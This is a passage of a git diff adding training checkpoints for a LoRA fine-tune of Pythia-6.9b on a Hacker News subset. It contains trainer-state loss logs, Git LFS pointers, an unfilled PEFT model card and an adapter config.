6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.7597460746765137, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.5518, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 2.9290659427642822, + "eval_runtime": 44.0216, + "eval_samples_per_second": 22.716, + "eval_steps_per_second": 2.84, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.463420391082764, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6113, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 2.9443466663360596, + "eval_runtime": 43.9335, + "eval_samples_per_second": 22.762, + "eval_steps_per_second": 2.845, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 3.9244191646575928, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6018, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 2.939068555831909, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8258907794952393, + "learning_rate": 1.125925925925926e-05, + "loss": 1.5986, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 2.9393391609191895, + "eval_runtime": 43.8955, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 3.681978225708008, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.6481, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 2.9356720447540283, + "eval_runtime": 44.0134, + "eval_samples_per_second": 22.72, + "eval_steps_per_second": 2.84, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8014676570892334, + "learning_rate": 8.888888888888888e-06, + "loss": 1.605, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9312660694122314, + "eval_runtime": 43.9235, + "eval_samples_per_second": 22.767, + "eval_steps_per_second": 2.846, + "step": 600 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.8316431917056e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c1831a941d7c5a2405760a1eae9564ed7b739a2e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:140033222243ef43babf2f2b4b66c6aca3845e7a641075b008e030b8d4a06815 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..6b82690083184940f92e461bae5522b18de6bb82 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:06f0dc39dc6fe9aa0afcc3bfde319de692d61946f11e0a14f365c458c9bcd30d +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..6a970899a5edc16268fdea83560e0495a3d06810 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fa5b53289977451ca52671d3897055616936322daf22f6e4246ff72a467aef1c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9ae36545a6cbe48ac387e9a4edd1288050b062ff --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b0de73605756aa391aaa9ea36adcbd12bd865860a2561b0aaca0c704b25cfe02 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..21a39cd119ffdd85af0d654ba7fea0bc0033fdff --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-610/trainer_state.json @@ -0,0 +1,948 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.133333333333333, + "eval_steps": 10, + "global_step": 610, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + 